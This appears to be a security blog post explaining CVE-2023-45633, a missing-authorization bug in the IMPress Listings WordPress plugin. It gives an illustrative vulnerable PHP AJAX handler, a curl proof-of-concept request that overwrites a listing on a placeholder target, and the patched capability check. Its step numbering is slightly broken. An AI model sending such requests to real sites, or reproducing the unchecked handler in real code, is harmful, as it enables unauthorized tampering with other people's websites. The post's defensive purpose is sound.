CVE-2023-45633 - Behind the Scenes of Missing Authorization in IDX IMPress Listings and How Attackers Exploit It

WordPress powers millions of websites around the world, and its plugins can add powerful features. But sometimes, these plugins open doors to attackers without you knowing. One such critical vulnerability is CVE-2023-45633 in the IMPress Listings plugin (for real estate listings), which missed a key authorization check. If you use this plugin, this is a must-read.

Let’s simplify and break down what happened, show how the exploit works with code, and share how to protect your site.

What is IMPress Listings?

IMPress Listings is a WordPress plugin made for real estate websites. It helps agents and brokers list and manage properties and includes a bunch of features via WordPress admin dashboard.

Plugin page on WordPress.org

What is CVE-2023-45633?

CVE-2023-45633 is a vulnerability discovered in IMPress Listings versions up to and including 2.6.2. The plugin failed to properly check if a user was allowed to perform sensitive actions (Missing Authorization). If your plugin has incorrect security levels configured, this can be dangerous.

Versions affected: unknown initial version through 2.6.2.

Some plugin actions require users to have certain permissions (like edit_posts).

- The vulnerable functions in IMPress Listings did not check if the current user had these permissions before allowing access.
- This means any logged-in user (sometimes even “subscriber” role or lower) could perform restricted actions like adding, editing, or deleting property listings.

What Does “Missing Authorization” Mean?

It means that requests to do important stuff (like create or delete records) are not properly gated. An attacker could send HTTP requests directly, skipping the WordPress UI, and the plugin would just carry them out.

Let’s look at a simplified and illustrative PHP code snippet that mimics the vulnerable logic

// Example of a vulnerable handler inside the plugin
add_action('wp_ajax_save_listing', 'save_listing_handler');

function save_listing_handler() {
    $listing_id = $_POST['listing_id'];
    $title = $_POST['listing_title'];
    $desc = $_POST['listing_description'];
    
    // MISSING: current_user_can('edit_posts') check
    
    wp_update_post(array(
        'ID' => $listing_id,
        'post_title' => $title,
        'post_content' => $desc,
    ));

    echo "Listing updated!";
    wp_die();
}

What’s missing?
No current_user_can() or other capability check! So ANY logged-in user can send an AJAX request to /wp-admin/admin-ajax.php with action=save_listing and change listings they shouldn't be able to touch.

Step 1. Get a low-level user account

Attacker signs up (if registration is open) or uses a compromised account.

They create a POST request like

curl -X POST \
  -d "action=save_listing" \
  -d "listing_id=123" \
  -d "listing_title=Hacked Listing" \
  -d "listing_description=Owned!" \
  https://TARGETSITE.COM/wp-admin/admin-ajax.php \
  -b "wordpress_logged_in_cookie..."

This changes a property listing, even though regular users should *not* be able to do this.

Step 3. Automate, escalate, delete, or deface

Attackers can automate this to edit, create or delete any listing, potentially deface, inject spam, or even hold a website “hostage”.

Who’s Affected?

If you use IMPress Listings version ≤ 2.6.2, you're at risk.

Check your version under _Plugins → Installed Plugins_.

The Fix

Starting with version 2.6.3, the vendor added proper authorization checks. They now use functions like:

if (!current_user_can('edit_posts')) {
    wp_die("Unauthorized.");
}

If you’re not on 2.6.3+, update immediately.
Changelog reference

References

- NVD Record for CVE-2023-45633
- WordPress.org IMPress Listings plugin
- Patchstack Advisory & PoC

Update IMPress Listings to at least 2.6.3.

2. Harden user registration. Limit accounts/users on your site.

Conclusion

CVE-2023-45633 is a classic example of why “secure by default” matters, especially for plugins managing sensitive data. All it takes is one overlooked security check for attackers to cause havoc. Stay safe by keeping plugins updated and always review development practices for your custom code or themes.

Questions? Join the WordPress Support Forums or talk to your web host for dedicated help.

Timeline

Published on: 01/02/2025 15:15:19 UTC